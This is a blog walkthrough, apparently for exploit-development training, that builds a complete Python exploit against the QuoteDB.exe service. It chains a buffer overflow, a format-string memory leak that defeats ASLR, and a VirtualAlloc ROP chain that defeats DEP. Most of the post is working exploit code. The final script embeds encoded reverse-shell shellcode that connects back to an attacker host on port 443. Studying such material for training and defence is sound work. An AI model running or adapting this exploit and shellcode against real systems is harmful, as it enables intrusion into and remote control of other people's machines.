In this blog, we develop an exploit against QuoteDB.exe
that bypasses Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) using VirtualAlloc
. The approach involves identifying a buffer overflow, leaking memory addresses through a format string vulnerability and constructing a Return-Oriented Programming (ROP) chain.
Identifying the Buffer Overflow
Binary Information
Loaded With ASLR on as seen with narly. This means we need to find a information leak. This is needed to leak an address so we're able to calculate the offsets of the base address and the gadgets in these executable and possible dll's.
To start, we verify that the application is vulnerable to buffer overflow by sending a large payload.
import struct
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 3700
target = (TARGET_IP, TARGET_PORT)
CRASH_LEN = 4000
payload = b"A"*CRASH_LEN
with socket.create_connection(target) as sock:
sent = sock.send(payload)
resp = sock.recv(512)
print(resp)
sock.close()
This results in a crash, confirming the vulnerability.
Do a pattern create and find the offset
To find the offset where EIP is overwritten, we generate a unique pattern and locate the crash point.
msf-pattern_create -l 3000
After we've send this large buffer we're able to see that the offset is 2064
import struct
import socket
TARGET_IP = "192.168.120.169"
TARGET_PORT = 3700
target = (TARGET_IP, TARGET_PORT)
OFFSET = 2064
CRASH_LEN = 4000
offset = b"A" * 2064
eip = b"B" * 4
padding = b"C" * (CRASH_LEN - len(offset + eip))
payload = offset + eip + padding
with socket.create_connection(target) as sock:
sent = sock.send(payload)
resp = sock.recv(512)
print(resp)
sock.close()
Finding an information leak
To bypass ASLR, we find a format string vulnerability and leak memory addresses. We see that we are able to pass an opcode that will get a quote if the value is between 1 and the num of the latest quote. This starts with 0 - 9
opcode = pack(">I", 0x385) #901 in hex
opcode += pack(">I", 0x01)
Set a breakpoint and check
Format String Leak
If the specify the opcode 902
|| 0x386
we're able to add a new quote. In this case we'll add a new quote with only format strings.
This triggers add_quote
formatstring = pack("<i", 0x386) # opcode 902
formatstring += b"%x " * 30
with socket.create_connection(target) as sock:
sent= sock.send(formatstring)
resp= sock.recv(4096)
print(resp)
sock.close()
Now we create a new quote
Get the quote
Normally when we want to get the quote we can check these with the opcode 901
We could do this with using opcode 0x385
and then specify the number 0-9
We've just add a quote so now we get the 0x0a
quote instead of the before last quote 0x09
opcode = pack("<i", 0x385)
opcode += pack("<i", 0x0a)
with socket.create_connection(target) as sock:
sent= sock.send(opcode)
resp= sock.recv(4096)
print(resp)
sock.close()
Parsing the response
First strip it and then put it it in a array to pick values easily.
with socket.create_connection(target) as sock:
sent = sock.send(opcode)
response = sock.recv(4096)
print(response)
hex_values = response.decode().strip().split()[:8]
# Convert each hex value to an integer
parsed_values = [int(value, 16) for value in hex_values]
print(parsed_values)
Find the base address
We've got a couple of addresses in the response that look interesting. Let's check with Windbg where those addresses resides.
Address 1 (msvcrt)
76636bc0
? msvcrt_leak - base_of_msvcrt
Is in this case
msvcrt_base = parsed_values[0] - 420800
print(f"the msvcrt_base = {hex(msvcrt_base)}")
Address 2 (base)
Do the same for the base address which is the 2nd value (count from 0)
0x61173b
So offset to base is - 5947
base = parsed_values[2] - 5947
print(f"The base value = {hex(base)}")
Badchars
When searching for badchars we've noticed we could use any badchar; even nullbytes. In this example exploit we keep it as simple as possible. Check my other blog about exploiting through WriteProcessMemory, were I show how to patch addresses with nullbytes or other badcharacters in it.
Rp++
Through RP++ we're able to extract gadgets from the msvcrt.dll and main.exe which we could use to make our ropchain.
IAT (VirtualAlloc)
Has the offset of 0x3A1A8 from the base (main.exe)
rop += pack("<L", base + 0x3a1a8) # VirtualAllocStub address
Patching VirtualAlloc
VirtualAlloc
is a function in the Windows API that allocates memory in the virtual address space of a process. It is a very flexible function that allows an attacker (or legitimate code) to request memory with specific properties. Here's what it does, step by step:
- Allocates memory: It reserves or commits a block of memory of the size you specify.
- Sets permissions: It assigns specific access permissions to that memory (e.g., readable, writable, executable).
- Returns a pointer: The function returns a pointer to the beginning of the allocated memory block.
We have to patch the following parameters as read in the Microsoft Docs
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
Sending a placeholder
rop += pack("<L", 0x69696969) # VirtualAllocStub placeholder address
rop += pack("<L", 0x55555555) # shellcode return address to return to after VirtualAlloc is called
rop += pack("<L", 0x44444444) # lpAddress (shellcode address)
rop += pack("<L", 0x33333333) # dwSize (0x1)
rop += pack("<L", 0x22222222) # flAllocationType (0x1000)
rop += pack("<L", 0x11111111) # flProtect (0x40)
Exploiting Through the Ropchain
Before we start building our ropchain we need to copy the location of ESP (stack pointer) to another register so we can increment or decrement our position to patch the placeholders. Fg: we start of by patching the first argument 0x69696969 which after the first part need to contain the dereferenced address of VirtualAlloc. After we've done this we jump over the placeholder.
rop = pack("<L", base + 0x025c0) # xor eax, eax; ret; ; main.exe
rop += pack("<L", base + 0x01e69) # or eax, esp; ret
rop += pack("<L", base + 0x02781) # add esp, 0x1c; ret; ; main.exe
1. VirtualAlloc
We've put the hex value 0x69696969
as a placeholder to patch. We are able to do two thing:
- Dereference the IAT to get the real value on the stack
- Through an address leaked in Kernel32 calculate the offset and use that one. (If this is the case you could hardcode it instead of pushing dummy value.)
rop += pack("<L", msvcrt_base + 0x17926) # xchg ebx, eax; ret; :: msvcrt.dll
rop += pack("<L", base + 0x02b38) # pop ecx; ret; :: main.exe
rop += pack("<L", base + 0x3a1a8) # VirtualAllocStub address
rop += pack("<L", msvcrt_base + 0x43d1e) # mov eax, dword ptr [ecx]; add cl, cl; ret; :: msvcrt.dll
rop += pack("<L", base + 0x01e7a) # mov dword ptr [ebx], eax; ret; :: main.exe
Then go further to the placeholder we need to patch
rop += pack("<L", msvcrt_base + 0x17926) # xchg ebx, eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
2. Return Address
This is the value where the code will return after the VirtualAlloc function is done. We will use the same address of the next value (lpAddress
).
rop += pack("<L", msvcrt_base + 0x47d5d) # mov ecx, eax; mov eax, esi; pop esi; ret 0x10; msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop esi
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += pack("<L", msvcrt_base + 0x3aa22) # pop eax; ret; :: msvcrt.dll
rop += pack("<L", 0xffffff08) # - 248
rop += pack("<L", msvcrt_base + 0x2fa2e) # neg eax; pop ebp; ret; :: msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2) # add eax, ecx; pop esi; pop ebp; ret
rop += pack("<L", 0x41414141) # filler pop esi
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
We've used an ropnop
this is an gadget I place after an ret 0x10 gadget for example. This is to not mess up the ropchain. This is just a simple:
ropnop = pack("<L", base + 0x01289) # ret;
3. lpAddress
This is the same value as the return address. We will calculate after we're done with our ropchain how far this is from this address, so our shellcode will execute.
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x3aa22) # pop eax; ret; :: msvcrt.dll
rop += pack("<L", 0xffffff0c) # - 244
rop += pack("<L", msvcrt_base + 0x2fa2e) # neg eax; pop ebp; ret; :: msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2) # add eax, ecx; pop esi; pop ebp; ret
rop += pack("<L", 0x41414141) # filler pop esi
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
When calculating the offset between the placeholder and where the nopslide starts. Start with inserting a dummy value, when your done you can calculate the exact offset and replace it easily.
💡 For the sake of this example we just use the value with nullbytes because we're able to push nullbytes. If this isn't the case, you just patch the values the same way as we did. In the other blog with WriteProcessMemory we'll show how to do this when an program doesn't accept nullbytes.
4. dwSize (0x1)
Windows allocates memory in blocks of at least one page (commonly 0x1000 bytes).
Even though dwSize
is set to 0x1
, the system will round up to allocate an entire page (0x1000 bytes by default).
5. flAllocationType (0x1000)
This specifies the type of memory allocation. The value 0x1000
corresponds to the MEM_COMMIT
flag in the Windows API. It allocates physical memory for the requested region. Without this, the memory would only be reserved but not usable.
6. flProtect (0x40)
This specifies the memory protection settings for the allocated region. The value 0x40
corresponds to the PAGE_EXECUTE_READWRITE
flag in the Windows API.
This allows the memory to be:
- Readable: So the program (or ROP chain) can inspect or access the memory.
- Writable: So the shellcode or payload can be copied into the allocated region.
- Executable: So the shellcode can be executed directly from this region.
Full Exploit Code
from struct import pack, unpack
import socket
TARGET_IP = "192.168.120.178"
TARGET_PORT = 3700
OFFSET = 2064
CRASH_LEN = 4000
target = (TARGET_IP, TARGET_PORT)
# Fase 1: Add a new quote which is a format string
formatstring = pack("<i", 0x386)
formatstring += b"%x " * 30
with socket.create_connection(target) as sock:
sent= sock.send(formatstring)
sock.close()
# Fase 2: Get the string which is the 10th quote and parse the leak
opcode= pack("<i", 0x385)
opcode = pack("<i", 0x0a)
with socket.create_connection(target) as sock:
sent= sock.send(opcode)
response= sock.recv(4096)
print(response)
hex_values= response.decode().strip().split()[:8]
# Convert each hex value to an integer
parsed_values= [int(value, 16) for value in hex_values]
print(parsed_values)
base= parsed_values[2] - 5947
print(f"The base value = {hex(base)}")
msvcrt_base= parsed_values[0] - 420800
print(f"the msvcrt_base = {hex(msvcrt_base)}")
sock.close()
#ropnop
ropnop= pack("<L", base + 0x01289) # ret; )
# Fase 3: Ropchain
offset= b"A" * 2064
# Copy esp into another register
rop= pack("<L", base + 0x025c0) # xor eax, eax; ret; :: main.exe
rop += pack("<L", base + 0x01e69) # or eax, esp; ret
rop += pack("<L", base + 0x02781) # add esp, 0x1c; ret; ; main.exe
# Dummy Values
rop += pack("<L", 0x69696969) # VirtualAllocStub address
rop += pack("<L", 0x55555555) # shellcode return address to return to after VirtualAlloc is called
rop += pack("<L", 0x44444444) # lpAddress (shellcode address)
rop += pack("<L", 0x01) # dwSize (0x1)
rop += pack("<L", 0x1000) # flAllocationType (0x1000)
rop += pack("<L", 0x40) # flProtect (0x40)
rop += pack("<L", 0x90909090) # padding for add esp
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
# Patching VirtualAlloc
rop += pack("<L", msvcrt_base + 0x17926) # xchg ebx, eax; ret; :: msvcrt.dll
rop += pack("<L", base + 0x02b38) # pop ecx; ret; :: main.exe
rop += pack("<L", base + 0x3a1a8) # VirtualAllocStub address
rop += pack("<L", msvcrt_base + 0x43d1e) # mov eax, dword ptr [ecx]; add cl, cl; ret; :: msvcrt.dll
rop += pack("<L", base + 0x01e7a) # mov dword ptr [ebx], eax; ret; :: main.exe
rop += pack("<L", msvcrt_base + 0x17926) # xchg ebx, eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x08802) # inc eax; ret; :: msvcrt.dll
# Patching return address
rop += pack("<L", msvcrt_base + 0x47d5d) # mov ecx, eax; mov eax, esi; pop esi; ret 0x10; msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop esi
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += ropnop
rop += pack("<L", msvcrt_base + 0x3aa22) # pop eax; ret; :: msvcrt.dll
rop += pack("<L", 0xffffff08) # - 248
rop += pack("<L", msvcrt_base + 0x2fa2e) # neg eax; pop ebp; ret; :: msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2) # add eax, ecx; pop esi; pop ebp; ret
rop += pack("<L", 0x41414141) # filler pop esi
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
# Patching shellcode address (lpAddress)
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x10778) # inc ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x3aa22) # pop eax; ret; :: msvcrt.dll
rop += pack("<L", 0xffffff0c) # - 244
rop += pack("<L", msvcrt_base + 0x2fa2e) # neg eax; pop ebp; ret; :: msvcrt.dll
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x395b2) # add eax, ecx; pop esi; pop ebp; ret
rop += pack("<L", 0x41414141) # filler pop esi
rop += pack("<L", 0x41414141) # filler pop ebp
rop += pack("<L", msvcrt_base + 0x7f1ac) # mov dword ptr [ecx], eax; pop esi; pop ebp; ret;
rop += pack("<L", 0x43434343) # filler pop esi
rop += pack("<L", 0x43434343) # filler pop ebp
# Get back to the start
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
rop += pack("<L", base + 0x01e78) # dec ecx; ret; :: main.exe
# esp to eip
rop += pack("<L", msvcrt_base + 0x3b81a) # mov eax, ecx; ret; :: msvcrt.dll
rop += pack("<L", msvcrt_base + 0x0fad5) # xchg esp, eax; ret; :: msvcrt.dll
nopslide= b"\x90" * 100
# msfvenom -p 'windows/shell_reverse_tcp' LHOST=192.168.50.149 LPORT=443 –e x86/shikata_ga_nai EXITFUNC=thread -f 'python' --bad-chars "\x00" -v shellcodes
shellcode= b""
shellcode += b"\xdb\xcf\xbb\x1c\xa7\x7c\xe9\xd9\x74\x24\xf4"
shellcode += b"\x5d\x31\xc9\xb1\x52\x31\x5d\x17\x03\x5d\x17"
shellcode += b"\x83\xd9\xa3\x9e\x1c\x1d\x43\xdc\xdf\xdd\x94"
shellcode += b"\x81\x56\x38\xa5\x81\x0d\x49\x96\x31\x45\x1f"
shellcode += b"\x1b\xb9\x0b\x8b\xa8\xcf\x83\xbc\x19\x65\xf2"
shellcode += b"\xf3\x9a\xd6\xc6\x92\x18\x25\x1b\x74\x20\xe6"
shellcode += b"\x6e\x75\x65\x1b\x82\x27\x3e\x57\x31\xd7\x4b"
shellcode += b"\x2d\x8a\x5c\x07\xa3\x8a\x81\xd0\xc2\xbb\x14"
shellcode += b"\x6a\x9d\x1b\x97\xbf\x95\x15\x8f\xdc\x90\xec"
shellcode += b"\x24\x16\x6e\xef\xec\x66\x8f\x5c\xd1\x46\x62"
shellcode += b"\x9c\x16\x60\x9d\xeb\x6e\x92\x20\xec\xb5\xe8"
shellcode += b"\xfe\x79\x2d\x4a\x74\xd9\x89\x6a\x59\xbc\x5a"
shellcode += b"\x60\x16\xca\x04\x65\xa9\x1f\x3f\x91\x22\x9e"
shellcode += b"\xef\x13\x70\x85\x2b\x7f\x22\xa4\x6a\x25\x85"
shellcode += b"\xd9\x6c\x86\x7a\x7c\xe7\x2b\x6e\x0d\xaa\x23"
shellcode += b"\x43\x3c\x54\xb4\xcb\x37\x27\x86\x54\xec\xaf"
shellcode += b"\xaa\x1d\x2a\x28\xcc\x37\x8a\xa6\x33\xb8\xeb"
shellcode += b"\xef\xf7\xec\xbb\x87\xde\x8c\x57\x57\xde\x58"
shellcode += b"\xf7\x07\x70\x33\xb8\xf7\x30\xe3\x50\x1d\xbf"
shellcode += b"\xdc\x41\x1e\x15\x75\xeb\xe5\xfe\xba\x44\xd7"
shellcode += b"\x6b\x52\x97\x17\x95\x18\x1e\xf1\xff\x4e\x77"
shellcode += b"\xaa\x97\xf7\xd2\x20\x09\xf7\xc8\x4d\x09\x73"
shellcode += b"\xff\xb2\xc4\x74\x8a\xa0\xb1\x74\xc1\x9a\x14"
shellcode += b"\x8a\xff\xb2\xfb\x19\x64\x42\x75\x02\x33\x15"
shellcode += b"\xd2\xf4\x4a\xf3\xce\xaf\xe4\xe1\x12\x29\xce"
shellcode += b"\xa1\xc8\x8a\xd1\x28\x9c\xb7\xf5\x3a\x58\x37"
shellcode += b"\xb2\x6e\x34\x6e\x6c\xd8\xf2\xd8\xde\xb2\xac"
shellcode += b"\xb7\x88\x52\x28\xf4\x0a\x24\x35\xd1\xfc\xc8"
shellcode += b"\x84\x8c\xb8\xf7\x29\x59\x4d\x80\x57\xf9\xb2"
shellcode += b"\x5b\xdc\x19\x51\x49\x29\xb2\xcc\x18\x90\xdf"
shellcode += b"\xee\xf7\xd7\xd9\x6c\xfd\xa7\x1d\x6c\x74\xad"
shellcode += b"\x5a\x2a\x65\xdf\xf3\xdf\x89\x4c\xf3\xf5"
padding= b"C" * (CRASH_LEN - len(offset + rop + nopslide + shellcode))
payload= offset + rop + nopslide + shellcode + padding
with socket.create_connection(target) as sock:
sent= sock.send(payload)
sock.close()